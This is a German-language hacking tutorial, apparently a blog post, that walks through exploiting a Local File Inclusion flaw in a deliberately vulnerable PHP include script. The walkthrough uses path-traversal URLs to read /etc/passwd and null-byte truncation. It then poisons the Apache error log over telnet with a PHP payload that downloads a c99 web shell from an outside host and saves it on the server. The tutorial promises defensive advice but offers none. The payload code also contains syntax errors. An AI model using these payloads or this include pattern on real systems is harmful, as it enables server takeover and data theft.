Heyho,
wie versprochen nun noch ein Teil zum Thema LFI (Local File Inclusion). Ich werd euch hier eine Moeglichkeit zeigen, wie man per LFI eine Shell auf den Server bekommt. Das ganze nach n00bors Video Tutorial, welches am Ende noch gepostet wird.
Bei einer LFI Luecke ist das eigentlich fast genauso wie bei einer RFI nur koennen wir hier keine shell von einer externen Seite direkt includen.
Nehmen wir hierzu wieder einen Beispiel Source, um das ganze anschaulicher zu gestalten. Nehmen wir den aus unserem RFI TuT:
<?php if (isset($_GET['file'])) { include($_GET['file']); } else { echo "Du hast kein File includet"; } ?>
Als lfi.php speichern. Wuerde genauso mit
<?php include($_GET['file']); ?>
gehen, aufjedenfall kann man ueber den GET Parameter wieder etwas includen.
Nehmen wir also wieder unsere blub.php
<?php echo "Das ist eine Includete PHP Datei"; ?>
Dann wollen wir mal unsere blub.php includen..
http://localhost/lfi.php?file=blub.php
So nun wird wieder Inhalt unserer blub.php auf der Seite angezeigt das heißt das unsere Datei erfolgreich includet wurde. Normal probiert man nun ob eine RFI moeglich ist, also eine externe Seiten includen, wenn dies nicht moeglich ist, testen wir ob eine LFI moeglich ist.
So wenn wir nun davon ausgehen, dass der Server auf Linux laeuft was ja meistens zutrifft (wer auf Servern Windows benutzt muss schon bissle…) dann gehen wir einfach nen paar Ordner zurueck, beispielsweise soweit:
http://localhost/lfi.php?file=../../../../../../../etc/passwd
Wenn alles gut laeuft, wird euch die etc/passwd angezeigt.
Sieht meistens etwas komisch aus, vllt editiere ich hier noch einen Screenshotbeispiel rein.
Wenn unser Beispiel Script aber etwas anders aussieht, und bei denen das .php automatisch gesetzt wird, etwa so:
<?php include($_GET['url'].'.php'); ?>
In diesem Fall macht man sich die Existenz eines Ascii Zeichens zu nutze, dass einen String als beendet markiert, das Nullbyte, oder in Url enkodierter Form, %00.
(Zitat von Lidloses_Auge, besser haette man es auch nicht sagen koennen ) Sieht man auf der Seite meistens auch je nach Error ob ein Nullbyte benoetigt wird oder nicht.
Das sieht in unserer Praxis dann so aus:
http://localhost/lfi.php?file=../../../../../../../etc/passwd%00
Und dann wird uns im der Inhalt von der etc/passwd angezeigt. Hier koennten ein paar wichtige PW (servermaessig) drin sein, jedoch gehe ich nun auf was neues ein.
Da nun alle Seitenaufrufe im Apache gespeichert/geloggt werden und durch den Befehl include() es zu einer Ausfuehrung kommen kann, koennen wir dies auch ausnutzen (wenn die Rechte mitspielen).
Fuer uns wird nun jedoch der error.log wichtig sein, da dort, wie man am Namen sieht, saemtliche errors gespeichert werden. Wir werden nach n00bors tutorial vorgehen, da dies nen tolles Beispiel ist, wie man eine LFI Luecke ausnutzen kann. Das ganze laeuft so ab, wir senden einen GET Request ueber Telnet an den Server welcher als Fehler intepretiert wird und in die error.log gespeichert wird.
Dazu nehme ich auch n00bors Code:
GET/<?php $datei = fopen("shell.php","w+");stream = fopen("http://j0hnx3r.org/c99.txt", "r");while (!feof($stream)) { $shell .= fgets($stream); } fclose($stream);fwrite($datei,$shell) ;fclose($stream)fclose($datei); ?>
Was passiert hier? Kurz und knapp gesagt, unsere externe Shell wird ausgelesen und Zeile fuer Zeile in der neuen Shell aufm Server gespeichert. Wird quasi 1:1 auf den Server als neue shell kopiert. Was ist der Vorteil dann? Unsere Shell befindet sich auf dem Server und kann aufgerufen werden.
So wir brauchen nun unser CMD Fenster, –> C:\WINDOWS\system32\cmd.exe und geben dort folgende Zeile ein:
telnet localhost 80
localhost dementsprechend mit der IP des Servers editieren. Dann Enter, dann kopieren wir unseren Code rein und druecken auf Enter.
Wenn alles gut geht, muesste im error.log nun unser Code sein.
Nun wollen wir den Code ausfuehren und rufen den error log in unserem Browser auf:
http://localhost/lfi.php?file=../apache/logs/error.log
So wenn nun alles geklappt hat, sollten wir eine Shell auf dem Server haben. Mal nachschauen:
http://localhost/lfi.php?file=shell.php
Und wir sehen eine Shell auf dem Bildschirm.
Bisschen viel Theorie Zeugs ohne Bilder daher hier das Video Tutorial von n00bor:
http://stuff.n00bor.org/Shell_per_LFI/Shell_per_LFI.swf
Und Lidloses_Auge sein Text-Tutorial:
http://free-hack.com/showthread.php?t=17105
War nen Thema bei dem ich mir nicht sicher war, wie ich es euch vermitteln sollte.. Ich hoff trotzdem das ihr davon etwas gelernt habt.
Zum Schutz vor LFI/RFIs kommt vllt noch nen eigener Blog Eintrag oder irgendwann per Edit noch rein.
Aufjedenfall werd ich morgen mit meinem SQL Injection Tutorial anfangen und das werd ich euch in 4 oder 5 Teilen zeigen, die Aufteilung wird aehnlich wie bei Lidloses_Auge seinen Video Tutorials sein, nur werd ich einiges aufuehrlicher durchnehmen und anhand von Beispielen zeigen. Teil 1 SQL Injections, Teil 2 Was tun wenn MySQL v5, Teil 3 Blind SQL Injections und Teil 4 wird etwas tiefer eingehen.